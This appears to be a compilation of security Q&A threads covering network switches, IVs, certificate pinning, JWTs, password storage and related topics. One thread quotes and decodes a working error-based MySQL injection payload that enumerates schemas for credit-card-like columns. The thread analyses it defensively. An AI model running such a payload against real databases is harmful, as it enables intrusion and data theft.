Security criteria for selecting a network switch? I am looking to purchase a switch with 24+ ports. The set of security
criteria that I should bear in mind when selecting a switch is not
clear to me.

I have tried to take other networking security issues into account already, and I'm only asking about the set of risks related to a network switch. I have already set up a firewall to protect my network, configured my wireless access points for secure settings, and my networking equipment is in a locked closet. In light of reports of networking
equipment being remotely exploited, I'm trying to figure out what I need
to consider when reviewing candidate products.

Currently, I believe the following are important criteria:

Timely firmware updates

If an exploit for the switch is discovered, is there a way to update
the firmware? Also, will the switch manufacturer supply a firmware
update in a timely manner?

Management

Not sure if this will be a net security plus. On the one hand, might
enable security-related features such as VLANs. On the other, might just expand the attack surface over a "dumb" unmanaged switch.

Management / Configuration interface

Should be via SSH or TLS to allow only authorized access.

VLAN support

Allows network segregation (trusted vs. guest network), yet might
expand the attack surface.

Reputation

Is this a situation where only a handful of manufacturers have a solid security track record? Or is this irrelevant?

Logging / SNMP

Useful for monitoring, or another attack surface not worth the trouble?

Are there other criteria that one should consider? Or refinements to
the above criteria?

Your list is a good start, but I would like to add a few technical requirements that I find important when you are building a secure infrastructure.

Central authentication / Radius support. I like to integrate the authentication to a central authentication server. This eases management of administrators of the switch, and protects it from bruteforce attempts (account lockdown).
Port Security / IEEE 802.1X: In some locations, the ethernet plugs are exposed, and I do not want other people to connect unauthorized devices to the network.
Management VLAN. Support to select which VLAN the device will use for administrative services (ssh/https/snmp etc).
Access Control Lists / ACL. Some switches allow ACLs to be configured pr port. This is useful in strict environments where you want redundant barriers to mitigate configuration errors (misconfigured firewalls etc), or as an option if traffic do not pass a true firewall.
Bonding / LACP. Allow bonding network interfaces (across multiple switches). This is if you have some high-availability requirements, you want the infrastructure to be redundant.
MAC lockdown. A poor man's Port Security where you disable the switchport if you connect equipment with a new MAC address to a port. Nice to have if the equipment you connect to the switch do not support IEEE 802.1X.

Hope these possible requirements are helpful for you.


How to generate Initalization Vectors correctly I'm working on a project that splits large files into several encrypted fixed-size blocks (e.g. 4KiB).
Those blocks shall be used to be stored persistently on a storage device.

Blocks are encrypted symmetrically and each block has its own Initialization Vector.
Unfortunately I am unsure how to "generate" those Initialization Vectors correctly:

As it is explained here and here there are several different Initialization Vector generation algorithms.
Obviously, it has to be distinguished between private ones (e.g. ESSIV) and public ones (e.g. Plain).
I also read that IV algorithms like Plain should not be combined with CBC mode of operation.

Which IV generation algorithm should I use?
Or in other words: What should I definitely NOT do?

I don't want to use random nonces for each block, as those nonces would have to be stored somewhere - a IV generation algorithm would be much more comfortable to me.

TL;DR, the particular requirements of IVs depend upon the mode of encryption you're using. The one common attribute is that all IVs must be unique.

In modes like CTR and GCM, uniqueness is the only requirement. The IV in this case is also commonly referred to as a nonce (i.e., a "number used once"). Even a simple counter would suffice, as long as it is guaranteed not to ever generate a duplicate (even across multiple machines, or in the event of software failure).

In modes like CBC, the IV must be indistinguishable from random by an adversary.

For IVs with a large enough size (e.g., at least 128 bits), a cryptographically secure random number generator (CSPRNG) is usually considered sufficient. For algorithms involving IVs that are small enough such that random collisions are probable (for instance, Salsa20 has a 64-bit nonce), a CSPRNG is not appropriate since it would generate collisions. Another scenario where a CSPRNG might not be usable is in embedded devices, which may not have the ability to generate sufficiently random numbers in hardwaree.


Can MITM redirect my HttpsURLConnection? Scenario: Let's say a MITM was able to plant a faked, self-signed certificate on my client (Android app), instead of the self-signed certificate of my server.

When now my app tries to connect to the server, using:

URL url = new URL("https://www.hardcoded.unchangeable.uri.toserver");
HttpsURLConnection urlConnection = (HttpsURLConnection)url.openConnection();
urlConnection.setSSLSocketFactory(context.getSocketFactory());
urlConnection.connect();
...

Is the MITM able to reroute the request to his server?

If not I'm safe, I would just see a handshake exception, wouldn't I?

So we're assuming here that the attacker has a certificate which your device would see as "trusted" and is a position to intercept and modify traffic from your device before it reaches the server.

In that case, at a basic level, it would be likely that they could redirect the client to a server under their control.  When your device makes the DNS request to resolve "https://www.hardcoded.unchangeable.uri.toserver" the MITM attacker can intercept that and reply with an IP address under their control.

Your client then starts an HTTPS connection with the attackers server.  As the attacker has planted the fake signed certificate on your device (assuming here they've put a trusted root onto the device) they can just sign the certificate on the server that they redirect the client to with that root and your device will see it as "trusted".

The best way to mitigate this attack is to have your application make use of "certificate pinning" where it will only trust specific certificates, as opposed to trusting any certificate with the correct host name, which has been signed by a trusted root cerftificate which is installed on the device.


What IP address will show up in the Log I have a conundrum going on in my head for sometime now.

It involves IP addresses, VPN and VPS.

The scenario is this:

I have two Virtual Private Servers (VPS), let's call them VPS 1 and VPS X.

Now, let's say the following are the IP Addresses of each machines:

my Desktop's = 192.69.69.69
VPS 1's = 192.39.39.39
VPS X's = 192.75.75.75

(A) My first question is, if I use my desktop to remote desktop connect to VPS 1, what is the IP address that will show up in VPS 1's (access) log?

If my wild guess is correct, it's 192.69.69.69. But I still need confirmation that my answer is correct.

(B) Then after connecting to VPS1, I successfully set up a Virtual Private Network (VPN) inside VPS 1. I have no question about this. :)

(C) Second question, Using the VPN i just set up in VPS1, I used my desktop and connected to VPN X, what's the IP address that will show up in VPS X's (access) log?

It depends on the configuration of the vpn, and Amazon.
1st Question:
yes, it should be
If not, Amazon is using some gateways/loadbalancer in front of VPS1.
But I would think, that this is very unlikely.
2nd Question:
In a normal vpn gateway configuration it would be VPS 1's IP
If it is correctly configured VPS 1 can pass the IP of your computer to the Backend (VPS X). This isn't usually the case.
Again, if this is a special Amazon-related software it could be something else.


Why do browsers send such detailed user agent strings? Modern web browsers leak a ridiculous amount of information through the User-Agent header. The following is an example for Safari on iPad, from Wikipedia:

Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us)
AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405

It is clear that the information provided here goes way beyond what makes any sense for the purposes of browser/OS targeting by legitimate web services. Indeed, the only thing that this level of detail seems to do is facilitate tracking and browser fingerprinting, and unsurprisingly it is used for that extensively.

Why do browser vendors allow/support this? Why isn't something like

Mozilla/5.0 (Safari 5.1; iOS/iPad; en-us)

enough? Even en-us should not be needed as it's duplicated by the Accept-Language header, and whether the server has any right to know what device I am using is debatable as well, leaving us with

Mozilla/5.0 (Safari 5.1; iOS)

which still captures the browser and OS version and should therefore be completely sufficient for all legitimate purposes.

User agent strings are maddly complicated for historical reasons. It is a long story, but the short version is that everybody wanted to look like someone else to circumwent servers restricting access to webpages based on browsers. Yes, that used to be a thing back in the days. And now we are stuck with this sad mess.

The good news is that this means that even though the user agent string is long, a lot of it isn't really useful information. If we remove the boiler plate, the information about you that we can actually get from this string is:

iPad: You are on an iPad.
CPU OS 3_2_1 like Mac OS X: You are using iOS with specified version.
en-us: You have your language set to american english.
AppleWebKit/531.21.10: You are using the WebKit engine, with that particular version.
Mobile/7B405: Your firmware version.
You are using Safari. Never explicitly says so, but it can be deduced from the structure of the string.

That is a lot of information that could be useful for fingerprinting. I would say this is still a good practice:

All of this information could also be useful when determining what version of a site to serve. For example, if there is a known bug in a certain version of WebKit, you might want to include some CSS with a workaround. There are legitimate uses for this.
If you keep your software up to date, your user agent will hardly be unique anyway.
There are just to many ways too fingerprint a browser for there to be any point in removing useful information to prevent it. Just look at Panopticlick or the evercookie.

My main point is that asking browser vendors to remove functionality will not solve the underlying problem. If you want to remain untraceable, you need to use a browser specifically designed for that. It will involve loosing a lot of legitimate functionality (e.g. the ability to rezise the browser window).

If you are only worried about the user agent header, there are plugins that will change it or even randomize it for you. But if you are worried about being traced on the web, you should probably be worried about a lot more than that.


Why we are still required to move the mouse when generating the keys in VeraCrypt? During the setup of a new encrypted volume, the VeraCrypt requires a random mouse movement within the window. If someone looking from the outside can see that a monkey sitting in front of a computer playing with the mouse.
There are good solutions to generate cryptographically secure keys like the usual /dev/urandom [1] [2] on Linux and BCryptGenRandom on Windows. During the random key generations in TLS, nobody is asked to be a monkey. In OpenSSL openssl rand 128 handles key generation very fastly.
So, at this age, why we still need the mouse movement on VeraCrypt? Is there any specific reason that I miss it?

I think you need to look at the history of the codebase to understand why it's there in the first place. VeraCrypt descended from TrueCrypt, which was built at a time when the CSPRNG in Windows used an unspecified method of generating data:

Because CryptGenRandom is the de facto standard CSPRNG in Win32 environments, its security is critical for Windows users.

The specifics of CryptGenRandom's algorithm have not been officially published. As with any unpublished random number generation algorithm, it may be susceptible to theoretical weaknesses including the use of outdated algorithms, and a reliance for entropy gathering on several monotonically-increasing counters that might be estimated or controlled to an extent by an attacker with local access to the system.

As to whether it's still necessary by today's standards, well that is obviously a matter of taste. I managed to find a high-level statement about CSPRNG in .NET. I've been unable to uncover any sort of specification for the CSPRNG built into Windows, after about 10 minutes of searching through the Microsoft documentation.
Here's a good discussion about CSPRNG for readers that have yet to consider this aspect of information security: Pornin 2010 https://stackoverflow.com/a/3532136


"Windows Unquoted Search" Fix? Now I may have missed it but I was reading up on common windows issues and  "Windows Unquoted Search Path or Element can allow local privilege escalation" keeps appearing.

I am amazed that this is still a possible issue, Technet and other sites are full of custom built scripts to attempt a fix (most disclaim only partial success).

Why has MS not enforced a rule/fix for this?
Or have I gone search blind and they did?

Why has MS not enforced a rule/fix for this?

Because it would break existing software. Microsoft published an API where both paths would be searched. Developers implemented software knowing that. To change it would break any software searching in an unquoted directory with a space in the name. "C:\Program Files" means at the very least this is going to be a huge number of services.

Microsoft have to make a risk analysis and here they must have decided breaking legacy software was higher cost than the risk of unquoted search paths.


Help with successful Internal intrusions I'm requesting some help with a particular breach of access that we've experienced in our environment.  the attacker is an internal employee who has made a few notes about the environment that I simply do not understand clearly.

here are a few things he has claimed that I would like a little clarification on if someone would be kind enough to help me out.

1) "The router is accessible through this address - 0 x bdb38"

2) "memory tag (for transferring data) subnet is accessible through this address 0x00007fff78c6f2a8"

both of these comments have me a little stumped as they are written in short hand and I am unable to interpret them clearly.

The addresses seem to be hex-encoded numbers. The first is 20 bit and the second 64 bit (only the lower 48 bit are used). The first one is 777016 in decimal and the second 140735219692200.

They are unlikely to be network addresses. the first one is too large to be a port and too small to be an IP address. The second is too large to be an IPv4 address and too small for an IPv6 address.

But they could be 64bit memory addresses where the first one omits leading zeros. The attacker might have tried to exploit a vulnerability in the system(s) which required to know the exact location in the system memory of something he wanted to read or manipulate. He found these addresses somehow and wrote them down.

The second, however, is much too large for that. It would imply over 100 TB of memory.


Unlock codes for a mobile app This is for an Android (via Cordova/Phonegap) game project.  My goal is to be able to provide a "promo code" that will allow anyone to unlock the game for free, but I want to limit each code to only work for a day and I don't want to rely on a server side component to validate the codes.  The solution I came up with was for each day's code to be the first few letters of the md5 hash of (previous day's code + a secret value).  Here it is in js:

function checkPromoCode(codeToCheck) {
    var secretString = "ABCDEFGH";
    var startDate = new Date(1388534400000);    // Jan 1 2014
    var currentDate = new Date();
    var todaysCode = "";
    while (startDate < currentDate) {
        todaysCode = md5(todaysCode + secretString).substring(0,6);
        startDate.setDate(startDate.getDate() + 1);
    }
    if (codeToCheck == todaysCode) return true;
    return false;
}

Am I correct in thinking that the only reasonable way for an attacker (who knows the algorithm I'm using and knows some previous days' codes) to determine today's code is by figuring out the value of secretString?  I understand that a determined attacker could figure out the value of secretString by brute force or by analysis of the apk.  Nothing is uncrackable; the goal here is just to make it reasonably difficult.  Am I missing anything obvious?  And is MD5 an appropriate hash to use?

Not commenting on the security, this is what I got from a once over:

It is considered better form to have a single comma-separated var statement
You could do var startDate = new Date('2014/1/1'); and then you dont need your comment
You can write

if (codeToCheck == todaysCode) return true;
return false;

as

return codeToCheck == todaysCode;

Other than that I like the naming of variables, the flow of the code and general readability


Randomly generated token vs JSON web token I'm trying to secure access to my web server.

I have been implementing a JSON web token authentication where I randomly generate a secretkey and associate it with that user. The secretkey will then be used to encode the JSON web token. Then the user will use the JSON web token to access my web server.

I was also thinking of this simpler method. Is there a reason not to just randomly generate a key and associate the user with that. Then authenticate with that?

Either way is fine, it just depends whether you want authentication to be stateless.

Advantages of JWTs:

Stateless.
Little or no database overhead.
Individual back-end components can validate the token in isolation, simply by knowing the secret key.

Disadvantages:

As authentication state is stored client-side, you cannot invalidate logins server-side.

Depending on the risk appetite of your application, this could be a big enough disadvantage for you to move all authentication logic to server-side.

Note that you could combine the two, and have the authenticated token supplied client-side validated server-side (i.e. the token inside the JWT is validated by a MAC, and the token itself is stored in a database). This protects against the situation where your session table is exposed by an attack as an attacker cannot use the session identifiers directly to hijack a session without knowing the secret key used to validate the MAC.


The Girl in the Spider's Web: SCSI hack? In the movie, the main character is shown tapping into a network of surveillance cameras.

She uses a SCSI connector which allows her to send the camera footage to a remote computer.

I know it's a fictional movie, but I'm curious to know how unrealistic this is.

The SCSI connector in the film is exactly 34 strands. Are 34-pin SCSI's used for anything other than old floppy drives?
Is it possible to transmit 9 surveillance cameras over a single SCSI ribbon? (any kind of SCSI in existence)
If a surveillance system actually used SCSI ribbons to transmit video feeds, would it be possible to introduce a SCSI clamp/connector in the middle of the ribbon to view footage traversing the cable?

SCSI cables would not be used to carry video signal, but ribbon cables would be used to connect controllers. Given the few details you provide, it would be more likely that a controller was added to change where the video signals from all those CAT6 cables ended up.

Can you vampire tap a SCSI cable to duplicate a video signal? No. You would be more likely to sever all those little wires. Vampire taps need to be used on thick cables to ensure the integrity of the cable.

So, yes, plugging in ribbon cables looks all old-school techy (just like mounting keyboards vertically on walls). And a nice flat 34-strand ribbon cable makes a nice visual for clipping something on to. But in reality, it would have been more realistic to interact with the CAT6 cables that are actually carrying video signal.


My IP address switched suddenly and then switched back Sometimes I look at the login history of my blog account (a Tumblr blog) to make sure no one else is logging in (because I have private posts that I want to keep private).

Even though today I accessed my blog from the same computer as always, today my history showed that I was logging in from a different IP address than normal.

I live in Michigan, and normally when I look up login history, my IP address is listed as my same old IP address in Michigan.

However, today when I logged in at 8 am, my login history showed an IP located in California. Even though I'm in Michigan, it showed that my 8 am login was occurring from a city in CA.

I thought this was weird, so I logged out and logged in again. The second and third time I logged in, my IP was the same old Michigan IP that it normally is.

I searched for the California IP address and it turns out that the "IP usage type" is listed as belonging to yahoo and is a "search engine spider." (Here's the site I used to look up the IP: www.iplocationtools.com.)

What's going on here? Do I need to worry my computer has been hacked or something? Or is this more likely a Tumblr glitch?

Change your password. Regardless if this is a genuine compromise or not password hygiene is vital, especially when anything that is suspicious is flagged up.

You should also set up two factor authentication.

There are number of innocent reasons why this could happen though, I've listed a few below, which are in no way meant to be an authoritative final answer, just possibilities.

I agree with David, this is probably due to the ISP, it may be a BGP issue or it may be down your source address appearing as one of intermediary device on the path to tumblr.

Additionally, tumblr may parse the login session into its own logging system, if this triggers any kind of rule it may generate a new log for investigation and log the IP as that of its own logging system, this is something that I see in my own work all the time.

As for the yahoo spider, that really is a tricky one. This may be down to the way tumblr caches userids and botids it is possible that the crawler address has been appended to your session cache in tumblr's system erroneously, the cache has cleared and everything has went back to how it should, bar the suspicious log.

There is also a possibility that that rogue application has either been given or taken access to your account and is at play here and is allowing the yahoo crawler access to your account (or is spoofing its IP as not to look overly suspicious).

Have a look at the tumblr Account Security page


What is the nature of this SQL injection attack? I rather foolishly allowed SQL injection into my server under certain circumstances. However I can't quite see what the attack achieves, and how to repair whatever-it-is that was done.

This is the SQL in question:

'and(select 1  from( select count(*),
concat(( select( select(
select  concat(0x217e21,d. schema_name,0x217e21)
from information_schema. schemata as d
join information_schema. tables as t on t. table_schema = d. schema_name
join information_schema. columns as c on c. table_schema = d. schema_name
and c. table_name = t. table_name
where not c. table_schema in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)
and c. column_name like 0x25636325
and not t. table_name in(0x616363657373,0x70687062625f7573657273)
group by t. table_name  limit 2,1))
from information_schema. tables  limit 0,1),floor(rand(0)*2))x
from information_schema. tables  group by x)a)
and '1'='1

(Newlines added for readability)

In effect this was inserted in this sort of scenario:

SELECT * FROM students WHERE name = '$name';

$name contains the above (I should have detected the quotes, at the very least). I had already detected and removed any semicolons in the name.

My questions:

What does this do, exactly?
How can I undo this, if that needs to be done?

I have amended this particular script to use parametrized queries, but I am wondering what else needs to be checked for. (In other words, what damage was done?)

I'm no MySQL Guru but this SQLi attack appears to just gather information about you schemas. I have attempted to improve the formatting and converted the hex encoded ascii like 0x217e21 to its text equivalent. I don't understand all of this SQL but there are no updates, no deletes, no inserts, no stored procedure or batch calls. So I can see no way this would modify your server or you database.

If the attacker prepended a known name into this query they could then establish if the middle part of the query evaluated to true (they would get the student record returned) or false (no student record returned).

It appears that the attacker is trying to determine if any of your column names contain the pattern '%cc%', I would guess they are attempting to see if you store credit card database in your DB. They could then modify this script to find out in which table this information is stored and then modify it once more to select from this table. Tools like SQLMap allow this to be done quickly and painlessly.

SELECT * FROM students WHERE name = '' and
(select 1  from(
 select count(*),
 concat((
    select(
      select(
        select  concat('!~!',d.schema_name,'!~!')
        from information_schema.schemata as d
        join information_schema.tables as t on
            t.table_schema = d.schema_name
        join information_schema. columns as c on
            c.table_schema = d.schema_name and
            c.table_name = t.table_name
        where not c. table_schema in('information_schema','mysql') and
        c. column_name like '%cc%' and
        not t. table_name in('access', 'phpbb_users')
        group by t. table_name  limit 2,1
      )
    )
    from information_schema. tables  limit 0,1),
    floor(rand(0)*2))x
from information_schema.tables  group by x
)a)
and '1'='1'


How to implement WSS UsernameToken when password on the server is salted and hashed? I'm currently trying to write a web service for customer and requirement is to use WS Security. On their server side, they have passwords stored as SHA-1(salt+password).

According to WSS spec, security header will contain nonce, timestamp and password digest as SHA-1(nonce+timestamp+password_user_entered). Then on the server you do SHA-1(nonce_from_header+timestamp_from_header+password_from_database) and compare that to password digest from header. This kind of implies that passwords on the back end must be in clear text. I guess it would work if passwords on the back-end are just SHA-1(password) because you can instruct clients to construct digest as SHA-1(nonce+timestamp+SHA-1(password)) but I can't make it work with salted passwords.

In my case, since passwords on the back-end are hashed and salted, I won't be able to authenticate user since on the server I will be able to do only SHA-1(nonce_from_request+timestamp_from_request+hashed_salted_password_from_database) which will not match digest from request. So, it looks like salt somehow must find it's way to client in order for them to create password digest which is usable on the server.

It seems that one solution is to have a web service you call first and submit username and you get salt back for that user. Then you create password digest as SHA-1(nonce+timestamp+SHA-1(salt_from_server+password)) and use that in header for main web svc. Is this a good solution or there is a better industry standard way to deal with similar scenarios?

Thank you.

I am not sure which particular WS-Security spec you refer to. However, as far as I see, this spec (thanks to @logicalscope) only gives a suggestion as far as how to hash your password. In addition, the spec states that:

  Note that PasswordDigest can only be used if the plain text password
  (or password equivalent) is available to both the requestor and the
  recipient.

So in your case, the password is NOT available to the recipient. Only the already-hashed password.

Another important point to note is this comment on the spec:

  However, unless this digested password is sent on a secured channel or
  the token is encrypted, the digest offers no real additional security
  over use of wsse:PasswordText.

I would suggest using plaintext PasswordText but ensure the channel is, e.g. SSL protected (if you haven't done so anyway). This way you don't need to change the way your passwords are stored, you can hash them any way you want, and the password is still transported securely from the user to your app.


My ASP.NET core application executable detected as Trojan I wanted to copy from a local publish location of my ASP.NET Core project on a production IIS Server, and Windows Defender detected a Trojan in my main executable file. When I scan this folder on my local machine, Defender does not find any threat.

I made a deployment package in Visual Studio, on my computer there are no threats, only thing I can refer to is that ASP.NET Core app creates an EXE that opens HTTP ports.
Do I have a real problem, or Windows Defender is not right about my application?

The Win32/Cloxer.D!cl detection is a machine-learning derived signature:

https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Trojan%3AWin32%2FCloxer.D!cl&threatid=2147726003

Because of this, it could be flagging on any number of behavioral indicators including network connections, loaded libraries, or functions calls.

While it's possible that your packager or compiler is infected(a la XCodeGhost), it's much more likely that it's a false-positive.


How to protect against adversaries snatching booted laptops to defeat full disk encryption? I read an article describing how FBI agents snatched Ross Ulbricht's laptop while it was running to defeat full-disk encryption:

  Two plainclothes FBI agents, one male and one female, walked up behind
  Ulbricht and began arguing loudly. This staged lovers' tiff caught
  Ulbricht's attention long enough to distract him from his laptop. As
  soon as Ulbricht looked up, the male agent reached down and slid the
  computer over to his female colleague, who quickly snatched it up and
  handed it over to Kiernan for further investigation.

Ideally, one would only operate computers from places that are more physically secure than a public library, but that is not always practical in the real world.

I imagine that journalists working in dangerous places and other well-meaning people are also vulnerable to the theft of running laptops (thus defeating full-disk encryption), and I would like to figure out how to help them.

What kind of security measures can protect the data on a running laptop being physically snatched?

In fact operating a computer in a public place is not a good idea. If the place you will choose can somehow be predicted, surveillance devices might be attached to e.g. film you entering your password making the snatching scenario unnecessary for your enemy.

The following measures (most taken from the comments here: https://news.ycombinator.com/item?id=8929906) could help to protect data on your laptop:

a physical connection between you and the laptop that is plugged in and shuts down the laptop once unplugged
an invisible connection (e.g. Bluetooth) that reacts to changes in the signal strength
a build in or somehow attached accelerometer that detects rapid movements of the device
a software that detects loud noise (e.g. you shouting as loud as you can)
a software that uses the camera to detect a save pattern (e.g. your face, your red sweater with that big cross in the middle)

All of these might eventually trigger in a moment where they shouldn't so you might not want them to destroy your harddrive or you should check if the data that could be compromised is "worth" an accidental loss.
Also if you are observed your enemy might eventually figure out what mechanisms are in place and will try to act accordingly.

Apart from that you should not decrypt all of your sensitive data when in a public place. You might want to decrypt only a minimal subset that is required for you to work on whatever you got to do. That will effectively minimize the amount of data available to your enemy after a successful snatching-attack.


Own RootCA and SubCA - Deploy chain to /etc/ssl/certs or just RooCA cert?(Ubuntu) We have set up a rootca and created a subca to sign certs. What should be deployed to /usr/local/share/ca-certificates/ to update the trusted CA stores? The certificate chain or just the RootCA cert? Most configuration files have a separate directive to point to the certificate chain so it appears that best practice is that only the rootca cert should be trusted?

The generic form of this question is whether the RootCA only should be trusted or the intermediate cert.

thanks

The path validation needs to end in a self-signed root certificate which means that it is not sufficient to trust the intermediate certificate only, i.e. trusting the root CA is required in any case.

If you additionally need to add the intermediate CA as trusted depends on the setup of your systems: Usually TLS peers provide not only the leaf certificate but also any chain certificates needed to verify the leaf certificate against the root CA. In this case you don't need to be explicitly add the intermediate CA as trusted since it is provided during the TLS handshake. Only in broken setups where this sub-CA is not provided in the TLS handshake it need to be otherwise known, i.e. added to the list of trusted certificates.


Is there such a thing as a "non-business associate contract" for HIPAA related work I'm creating a website that is HIPAA related for contract work and want to make sure I dot all my i's.

I keep seeing Business Associate contracts on the internet, but so far I have not seen anything amounting to a non-business associate contract. Does something like that exist? If not, should I make one up basically stating that

1) I'm not a Certified HIPAA Security Professional (CHSP) and as such cannot be expected to provide advice on HIPAA security outside of definitions of HIPAA security rules (164.312 Technical safeguards).

2) Code created by me will adhere to HIPAA security rules (164.312 Technical safeguards) to the best of my ability and understanding but it is up to CLIENT to have such code validated and modified as needed by a HIPAA security expert for its legality in accordance with HIPAA laws.

3) I will not have access to PHI information personally and will not have access to the website after it is published.

Does that sound right?  Would any of that hold up?

The main thing here is to see whether or not YOUR COMPANY have an obligation to be HIPAA compliant. In this case, it would be your customer (that requires the services) that has this obligation and not you as a contractor, since you are merely making a website for them.  They would be the ones that need to do the audits to make sure that they are HIPAA compliant, not you.

Another item to look at is to see the definition of a Business associate and of a Business associate agreement (BAA).  These generally are involved in creating, receiving, maintaining, or transmitting PHI on behalf of a covered entity. Since you are not transmitting PHI then HIPAA compliance does not concern you. If your client asks you to be HIPAA compliant when you are not handling PHI they do not know what they are talking about.

You should also not be looking for something that does not exist (a 'non Business associate agreement').


Does Open-Source imply Authenticity? One of the purported advantages of open-source software is that in being so, it allows for multiple eyes on the code, and enables faster resolution of bugs. I think, also implied is an assurance about there not being any intentional security loop-holes in it.

Now, is that necessarily true? If I look at this in the context of GNU/Linux, you receive signed binaries from your favorite disto (even if source, you obviously don't have enough time to go through it all before installing). Isn't this flawed in terms of 'authenticity' of software?

Is there any way of implementing a security structure where code stays on a openly accessible platform where from you can calculate checksums to compare with what you got? Can this procedure be automated? Isn't such a procedure required?

No
Open source means source code is publicly available. Unless you download the source code and build an executable yourself, you can't be sure that your binary is built from exactly the same code as what you saw.
As mentioned in the comments, having a public server where you can download the software and verify it's checksum just changes the trusted property of a download. And mind you, checksums are not trustworthy: Mint was hacked

  One of the purported advantages of open-source software is that in being so, it allows for multiple eyes on the code, and enables faster resolution of bugs. I think, also implied is an assurance about there not being any intentional security loop-holes in it.

There are multiple variants of open source which vary in the degree of openness and trust. I say this because it is relevant to your point on quick fixes.

Internal open source
Internal open source usually means that there is a library that is being developed by multiple teams across an organization. Every member of that organization has access to the code but people outside the org don't. Since these libraries are usually critical to the organization's development, they get a quick resolution.
Pure open source
These are tools like Linux mint/Ubuntu etc. Here everyone gets to see the sourcecode but you don't always get quick resolutions. So if you find a security bug in an open source tool that you are using, you probably fix the bug yourself and update the changes upstream. You can't really trust for it to have no intentional security loop-holes. There can be some if the developers of the system intended to do so.


Do IIS / ASP.NET / MVC version headers reveal patch presence? Quick question: does anyone know whether the IIS / ASP.NET / MVC version headers, like this:

Server: Microsoft-IIS/8.5
X-AspNetMvc-Version: 5.2
X-AspNet-Version: 4.0.30319

can be used to determine whether the server is missing any patches?

If yes, is there a good resource available to map these version identifiers to patch levels?

No, these headers don't say anything about the server itself, only that it's running Windows (Because of the IIS).

The other two headers are the .Net and MVC framework version, which both are respective to the application running in the IIS.

You can find more information about those headers and how to remove them here.


LastPass One Time Recovery Passwords--How? The LastPass password manager stores One Time Recovery Passwords locally in each browser you use the plugin with:

http://helpdesk.lastpass.com/account-recovery/

My question is, how can you have more than one password?

I thought LastPass derived the encryption key from your master password using a variant of PBKDF2 and then encrypted your data with this encryption key locally with AES. There's no room in this scenario for multiple passwords, unless the data is encrypted multiple times. And, how can they enable or disable the OTPs unless they're stored somehow server-side? It just all smells really fishy. If the encryption key for my data never leaves my computer, I cannot understand how any password besides my master password could allow access to my password vault unless there's something LastPass isn't telling us and the local Javascript encryption is all smoke and mirrors...

Update

I contacted LastPass and they pointed me to an explanation here:
http://forums.lastpass.com/viewtopic.php?f=12&t=22959&p=87289

LastPass stores, on the server, a "vault" which is a collection of data, encrypted with a key derived from the "master password". Let's call K that key. Normally, K is rebuild on the local computer by recomputing it from the master password. However, the same key K could also be stored on the server, this time encrypted with a recovery key Kr, allowing reconstruction of K by whoever knows Kr. The "one-time recovery password stored in the browser" would be that Kr (they call it "password" but the user does not type it, so it can be a fat sequence of random bytes, something usually known as a "key").

With such a system, the vault can expanded with a "recovery blob" which is EKr(K). Generating a recovery blob requires knowledge of K, so it must have happened on the client system, since LastPass does not know the K or the master password. This matches the idea that the one-time recovery password is browser-specific.

If one "recovery blob" can be stored, several recovery blobs can be stored as well. When the user wants to prepare his browser for a potential subsequent recovery, he makes his browser generate a new random Kr, store it in the browser entrails, and compute the recovery blob (the user types his master password, the browser recomputes K and does the encryption with Kr). The recovery blob is then sent to LastPass's servers for storage. At no point does LastPass learn K or the master password or any of the "one-time recovery passwords".

What I describe above is a plausible implementation. I cannot vouch for what LastPass actually does.

A point to make, however, is about "one-time". That one is pure marketing. There is nothing intrinsically "one-time" in what I described. What they mean is that the server will refuse to send back a given recovery blob to the user more than once. Presumably, when a user connects and requests download of a recovery blob, the LastPass server sends it back and then destroys it on its side. This is all relative to how well LastPass complies to this data destruction routine.

(There cannot be anything one-time in a system unless parts of the system enforce some state change which the attacker cannot revert. This is generic.)


Is receiving IPv4 connections on AF_INET6 sockets insecure? The FreeBSD man page for inet6 has the following:

  By default, FreeBSD does not route IPv4 traffic to AF_INET6 sockets.
  The default behavior intentionally violates RFC2553 for security
  reasons. Listen to two sockets if you want to accept both IPv4 and
  IPv6 traffic. IPv4 traffic may be routed with certain
  per-socket/per-node configuration, however, it is not recommended to
  do so. Consult ip6(4) for details.

OpenBSD also has a similar wording in its man page

  For security reasons, OpenBSD does not route IPv4 traffic to an
  AF_INET6 socket, and does not support IPv4 mapped addresses, where
  IPv4 traffic is seen as if it comes from an IPv6 address like
  ::ffff:10.1.1.1. Where both IPv4 and IPv6 traffic need to be accepted,
  listen on two sockets.

This is referencing section 3.7 of RFC2553 (obsoleted by RFC3493) regarding IPv4 addresses being translated into ::FFFF:<IPv4-address>.

What I don't understand is what kind of security issues would be exposed by accepting IPv4 connections? What makes a translated IPv4 address less secure than any other IPv6 address? And why does Linux allow such "insecure" behavior?

Most of these security issues arise when a host accepts IPv4-mapped IPv6 traffic over the network, rather than accepting IPv4 traffic and presenting it to an application on an IPv6 socket with a mapped address. An application may have no good way to tell the difference and detect a potential attack in progress. Of course no host should ever be accepting mapped addresses from the network, but since when have operating systems ever behaved perfectly?

RFC 4942 § 2.2 explains the issues in depth:

  Overloaded functionality is always a double-edged sword: it may yield some deployment benefits, but often also incurs the price that comes with ambiguity.

  One example of such is IPv4-mapped IPv6 addresses (::ffff/96): a representation of an IPv4 address as an IPv6 address inside an operating system as defined in [RFC3493].  Since the original specification, the use of IPv4-mapped addresses has been extended to a transition mechanism, Stateless IP/ICMP Translation algorithm (SIIT) [RFC2765], where they are potentially used in the addresses of packets on the wire.

  Therefore, it becomes difficult to unambiguously discern whether an IPv4 mapped address is really an IPv4 address represented in the IPv6 address format (basic API behavior) or an IPv6 address received from the wire (which may be subject to address forgery, etc.).  (SIIT behavior).  The security issues that arise from the ambiguous behavior when IPv4-mapped addresses are used on the wire include:

  If an attacker transmits an IPv6 packet with ::ffff:127.0.0.1 in the IPv6 source address field, he might be able to bypass a node's access controls by deceiving applications into believing that the packet is from the node itself (specifically, the IPv4 loopback address, 127.0.0.1).  The same attack might be performed using the node's IPv4 interface address instead.
  If an attacker transmits an IPv6 packet with IPv4-mapped addresses in the IPv6 destination address field corresponding to IPv4 addresses inside a site's security perimeter (e.g., ::ffff:10.1.1.1), he might be able to bypass IPv4 packet filtering rules and traverse a site's firewall.
  If an attacker transmits an IPv6 packet with IPv4-mapped addresses in the IPv6 source and destination fields to a protocol that swaps IPv6 source and destination addresses, he might be able to use a node as a proxy for certain types of attacks.  For example, this might be used to construct broadcast multiplication and proxy TCP port scan attacks.

